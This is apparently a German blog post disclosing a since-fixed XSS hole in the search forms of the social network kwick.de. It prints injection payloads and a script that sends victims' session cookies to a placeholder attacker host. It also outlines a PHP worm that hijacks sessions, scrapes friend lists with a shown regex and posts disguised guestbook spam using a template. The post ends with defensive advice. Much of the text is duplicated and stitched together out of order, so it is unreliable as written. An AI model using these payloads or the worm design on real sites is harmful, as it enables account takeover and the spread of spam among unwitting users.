Die Sozialen Netzwerke, neudeutsch: Social Networks, halten nicht allzu viel von Sicherheit. Vor allem müssten die Entwickler viel mehr für das Thema XSS Sensibilisiert werden. Denn Potentielle Angreifer finden jede Schwachstelle im System. Und wer lange genug sucht der wird immer fündig. Es sollte den Angreifern nur nicht allzu einfach gemacht werden.
Kwick.de hatte bis zum 20.06.08 auch noch oder wieder ein Problem mit XSS. Betroffen waren so gut wie alle Suchformulare auf der Seite. Per zufall bin ich auf diesen Umstand aufmerksam geworden.
Eines sei gesagt. Bei Kwick kann man sich nun getrost Anmelden denn die Sicherheitslücke wurde sofort behoben. Also eine sichere Sache. Andere Social Networks haben ähnliche XSS Probleme, eigentlich erschreckend viele. Die Namen möchte ich nicht nennen denn sonst rennen vielleicht ein Paar Dummys dahin und testen es gleich.........
Nachdem ich dieses Problem dem Betreiber gemeldet hatte wurde es auch Postwendend behoben. Nur aus diesem Grund kann ich diese Sicherheitslücke nun veröffentlichen. Okay zum anfang.
Abbildung 1: Kwick Seite nach der XSS Attacke
Der Exploit Code welcher in das Suchformular eingegeben wurde ist folgender:
"><iframe src=http://google.de>
(Der steht in einer Zeile)
Dies habe ich in einige Suchfelder auf der kwick Seite eingegeben. Und das Ergebniss war ein iframe mit google. Und eine leicht zerstörte kwick! Seite, siehe Abbildung 1. Warum ist das möglich?
Bei Kwick wurden, werden Suchanfragen nach dem Suchvorgang wieder in ein input Feld eingefügt. Das sieht dann im HTML-Code folgend aus:
Für diverse Tests habe ich so ein Programm in PHP Entwickelt um herauszufinden ob es wirklich ohne weiteres möglich ist ein solchen "Social Worm" zu entwickeln. Ich muss sagen es ist erstaunlich einfach und schnell gelöst. Es ist auch möglich einen Wurm nur mit XSS Code zu erstellen, also mittels AJAX Funktionen des Betreibers und eigens erstellten. Dies ist aber sehr schwer zu kontrollieren. So ein Wurm verteilt sich rasant und kann auch ohne eine Benutzereingabe sich weiterverbreiten.
Die PHP Variante habe ich gewählt da Sie gut zu Kontrollieren ist, und man sehr flexibel ist in dem was man mit dem Wurm macht.
Nun zum Theoretischen Aufbau dieses Angriffes.
1. XSS Code welcher das PHP Skript einbindet une ein Suchergebniss anzeigt.
2. PHP Programmteil, bekommt das cookie als Parameter, verteilt den XSS Code
3. Anwender welcher auf einen Manipulierten link klickt (weiter mit 1)
Zu den einzelnen Punkten. Wie kann den so ein XSS Code aussehen? Wir bnötigen einen iframe welcher von einem Server das PHP Skript einbindet.
Code:
Zu Punkt 2:
Hier brauchen wir ein PHP Skript. Was muss es denn können? Also das PHP Skript
benötigt folgende Fähigkeiten.
Die Arbeitsweise von SWK (Social-Worm-Kwick), wird durch Manipulierten link aufgerufen, bekommt das Cookie einer aktuellen Session.
Nimmt das Cookie stellt eine Verbindung zu Kwick her, holt Buddy Seite.
Nun hat der Wurm alle Freunde des Opfers. Nun werden mittels Reg Expression die Nicknamen der Buddys ausgelesen.
Code:
preg_match_all("/(return profil\(')(.*)('\))/i",$content, $treffer);
So nun sind alle Nicknamen der Buddys in $treffer[2] als Array gespeichert. Jetzt muss SWK nur zu jedem Gästebuch eines jeden Users eine Verbindung herstellen. Da hier kein Sicherungscode im Quelltext ist kann ich direkt eine Post Verbindung herstellen und den Gästebucheintrag erstellen. Wer details dazu benötigt dem sei gesagt, von mir gibt es Sie nicht! Denn nur ein Böser Mensch würde hier eine Information benötigen.
Jetzt hat sich der Wurm weiterverbreitet. Gut das ganze gibt wenig Sinn! Ich könnte aber auch die Passwörter abfischen oder Werbung schalten oder oder oder!
Es gibt tausend Möglichkeiten und keine einzige ist auch nur ein wenig Sinnvoll. Das wichtigste ist dass die Betreiber aus diesen Fehlern lernen müssen und Ihre Seiten regelmäßig testen lassen!
Denn die Kriminellen Hacker lassen sich auch ständig etwas neues einfallen. Wie man sich vor XSS schützen kann habe ich in einem anderen Artikel aufgezeigt. Weitere Möglichkeiten sind sogenannte WAF ( Web Application Firewall ). Diese stellen nur eine zusätzliche Maßnahme dar. Am wichtigsten ist eine Sichere Programmierung und das muss nicht kompliziert sein!
Und für alle welche ein solches Social Network benutzen sollten sich bei zugesendeten links von Bekannten per Message oder Gästebuch eventuell nochmals rückversichern was oder ob diese überhaupt eine Nachricht mit Link gesendet haben. Im zweifel einfach löschen und "nicht auf den link klicken".
Mit dieser verhaltensregel kann man sich nur vor XSS Attacken schützen welche eine Aktion des Benutzers verlangen aber es gibt sehr viele XSS Würmer welche ohne eine Eingabe auskommen!
Wie erstelle ich eine Sichere WebAnwendung?? Hier ist eine gute Quelle des BSI. Zum kurz nachschauen. Mit weiterführenden Links etc. Sehr informativ:
Bundesamt für Sicherheit der Informationstechnik (BSI): Maßnahmenkatalog und Best Practices für die Sicherheit von Webanwendungen
Kwick.de hatte bis zum 20.06.08 auch noch oder wieder ein Problem mit XSS. Betroffen waren so gut wie alle Suchformulare auf der Seite. Per zufall bin ich auf diesen Umstand aufmerksam geworden.
Eines sei gesagt. Bei Kwick kann man sich nun getrost Anmelden denn die Sicherheitslücke wurde sofort behoben. Also eine sichere Sache. Andere Social Networks haben ähnliche XSS Probleme, eigentlich erschreckend viele. Die Namen möchte ich nicht nennen denn sonst rennen vielleicht ein Paar Dummys dahin und testen es gleich.........
Nachdem ich dieses Problem dem Betreiber gemeldet hatte wurde es auch Postwendend behoben. Nur aus diesem Grund kann ich diese Sicherheitslücke nun veröffentlichen. Okay zum anfang.
Abbildung 1: Kwick Seite nach der XSS Attacke
Der Exploit Code welcher in das Suchformular eingegeben wurde ist folgender:
"><iframe src=http://google.de>
(Der steht in einer Zeile)
Dies habe ich in einige Suchfelder auf der kwick Seite eingegeben. Und das Ergebniss war ein iframe mit google. Und eine leicht zerstörte kwick! Seite, siehe Abbildung 1. Warum ist das möglich?
Bei Kwick wurden, werden Suchanfragen nach dem Suchvorgang wieder in ein input Feld eingefügt. Das sieht dann im HTML-Code folgend aus:
<input type="text" name="q" id="search_q" value=""><iframe src=http://google.de>"
style="width: 250px;" class="borderLine" title="Suchbegriff eingeben (Name, Stadt, ...)" />
Hier gut zu erkennen. Der Suchstring wird in das value="Suchstring" eingefügt.
Und durch ein weiteres Anführungszeichen kann man das value Feld schließe. Nach
dem das Feld geschlossen ist kann man mit > den input tag schließen und man kann
nun ein neues tag öffnen. Im Testfall nun ein iframe.
Vielleicht sagt nun der ein oder andere na und? Das ist doch nicht schlimm, da es
ja nur auf meiner Seite ist. Ja das macht ja nichts! Doch was wenn ein Link so mani-
puliert wurde und Sie arglos auf diesen Link klicken, dann könnte ein Angreifer doch
mehr machen. Um zu zeigen wie mächtig so eine Sicherheitslücke ist soll folgendes
Beispiel zeigen.
Bisher haben wir nur einen iframe eingefügt. Jetzt werden wir einen Java Script
Code zur Demonstration einfügen. "><script>alert(document.cookie)</script>
In der Abbildung zwei sieht man dass Ergebniss dieser Abfrage. Es gibt nun alle Cookie Daten welche von K wick gesetzt wurden. Dass ist so gefährlich weil sobald jemand die cookie Daten von einem Besitzt so nimmt dieser für den Kwick Server die Idendität von jemand anderem an ! Also das heißt jeder kann nach einem Erfolgreichen Angriff auf meine Daten zugreifen. Nachrichten lesen, Nachrichten senden.
Also das volle Programm. In unserem Beispiel möchten wir das ganza aber noch etwas weiter ausbauen.
Was ist wenn ein Angreifer Spam versenden möchte. Damit diese Spam Nachrichten aber besser getarnt sind braucht man als Absender eine Person die man gut kennt, also jemand der mit einem befreundet ist. Und damit der Verdacht von Spam nicht sofort aufkommt könnte man das ganze noch Personifizieren.
Also das volle Programm. In unserem Beispiel möchten wir das ganza aber noch etwas weiter ausbauen.
Was ist wenn ein Angreifer Spam versenden möchte. Damit diese Spam Nachrichten aber besser getarnt sind braucht man als Absender eine Person die man gut kennt, also jemand der mit einem befreundet ist. Und damit der Verdacht von Spam nicht sofort aufkommt könnte man das ganze noch Personifizieren.
Also ein Gästebucheintrag mit:
Hallo Name_Empfänger,
na wie gehts? Ich hab was im Forum gefunden
dass musst du dir ansehen:
Link ins Forum
Also bis dann Gruß
Absender_Name
So sieht das ganze recht nett aus und mit Sicherheit wird der Empfänger, also von diesem Gästebucheintrag auf diesesn Link klicken, denn er möchte ja wissen was ihm der Absender, ein bekannter, zeigen möchte!
Für diverse Tests habe ich so ein Programm in PHP Entwickelt um herauszufinden ob es wirklich ohne weiteres möglich ist ein solchen "Social Worm" zu entwickeln. Ich muss sagen es ist erstaunlich einfach und schnell gelöst. Es ist auch möglich einen Wurm nur mit XSS Code zu erstellen, also mittels AJAX Funktionen des Betreibers und eigens erstellten. Dies ist aber sehr schwer zu kontrollieren. So ein Wurm verteilt sich rasant und kann auch ohne eine Benutzereingabe sich weiterverbreiten.
Die PHP Variante habe ich gewählt da Sie gut zu Kontrollieren ist, und man sehr flexibel ist in dem was man mit dem Wurm macht.
Nun zum Theoretischen Aufbau dieses Angriffes.
1. XSS Code welcher das PHP Skript einbindet une ein Suchergebniss anzeigt.
2. PHP Programmteil, bekommt das cookie als Parameter, verteilt den XSS Code
3. Anwender welcher auf einen Manipulierten link klickt (weiter mit 1)
Zu den einzelnen Punkten. Wie kann den so ein XSS Code aussehen? Wir bnötigen einen iframe welcher von einem Server das PHP Skript einbindet.
Code:
"<script>keks=document.cookie;document.write( "<iframe src=
'http://irgendeinanonymerHost/guestbookSKW.php?Cookie= "+keks+ " ' style= 'width:100%;
height:200%;position:absolute; '></iframe> ");</script>
Mit diesem XSS Code wird nun ein iframe eingebunden welcher den GET Parameter Cookie an das PHP Skript übergibt. Der iframe wird mittels Javascript und document.write erstellt da ich ja den Prameter Cookie benötige, und dieser kann ich mittels Javascript auslesen, in der Variablen keks Speichern und dann in die url mit anhängen. Und es ist ja auch mal was anderes als es nur so Plumb in das Suchfeld einzufügen.Zu Punkt 2:
Hier brauchen wir ein PHP Skript. Was muss es denn können? Also das PHP Skript
benötigt folgende Fähigkeiten.
- Es muss HTTP Verbindungen mit GET und POST Variablen herstellen
- REG EXPRESSIONS, auslesen der Buddys(Freunde/Kontakte)
Die Arbeitsweise von SWK (Social-Worm-Kwick), wird durch Manipulierten link aufgerufen, bekommt das Cookie einer aktuellen Session.
Nimmt das Cookie stellt eine Verbindung zu Kwick her, holt Buddy Seite.
Nun hat der Wurm alle Freunde des Opfers. Nun werden mittels Reg Expression die Nicknamen der Buddys ausgelesen.
Code:
preg_match_all("/(return profil\(')(.*)('\))/i",$content, $treffer);
So nun sind alle Nicknamen der Buddys in $treffer[2] als Array gespeichert. Jetzt muss SWK nur zu jedem Gästebuch eines jeden Users eine Verbindung herstellen. Da hier kein Sicherungscode im Quelltext ist kann ich direkt eine Post Verbindung herstellen und den Gästebucheintrag erstellen. Wer details dazu benötigt dem sei gesagt, von mir gibt es Sie nicht! Denn nur ein Böser Mensch würde hier eine Information benötigen.
Jetzt hat sich der Wurm weiterverbreitet. Gut das ganze gibt wenig Sinn! Ich könnte aber auch die Passwörter abfischen oder Werbung schalten oder oder oder!
Es gibt tausend Möglichkeiten und keine einzige ist auch nur ein wenig Sinnvoll. Das wichtigste ist dass die Betreiber aus diesen Fehlern lernen müssen und Ihre Seiten regelmäßig testen lassen!
Denn die Kriminellen Hacker lassen sich auch ständig etwas neues einfallen. Wie man sich vor XSS schützen kann habe ich in einem anderen Artikel aufgezeigt. Weitere Möglichkeiten sind sogenannte WAF ( Web Application Firewall ). Diese stellen nur eine zusätzliche Maßnahme dar. Am wichtigsten ist eine Sichere Programmierung und das muss nicht kompliziert sein!
Und für alle welche ein solches Social Network benutzen sollten sich bei zugesendeten links von Bekannten per Message oder Gästebuch eventuell nochmals rückversichern was oder ob diese überhaupt eine Nachricht mit Link gesendet haben. Im zweifel einfach löschen und "nicht auf den link klicken".
Mit dieser verhaltensregel kann man sich nur vor XSS Attacken schützen welche eine Aktion des Benutzers verlangen aber es gibt sehr viele XSS Würmer welche ohne eine Eingabe auskommen!
Wie erstelle ich eine Sichere WebAnwendung?? Hier ist eine gute Quelle des BSI. Zum kurz nachschauen. Mit weiterführenden Links etc. Sehr informativ:
Bundesamt für Sicherheit der Informationstechnik (BSI): Maßnahmenkatalog und Best Practices für die Sicherheit von Webanwendungen
Kommentare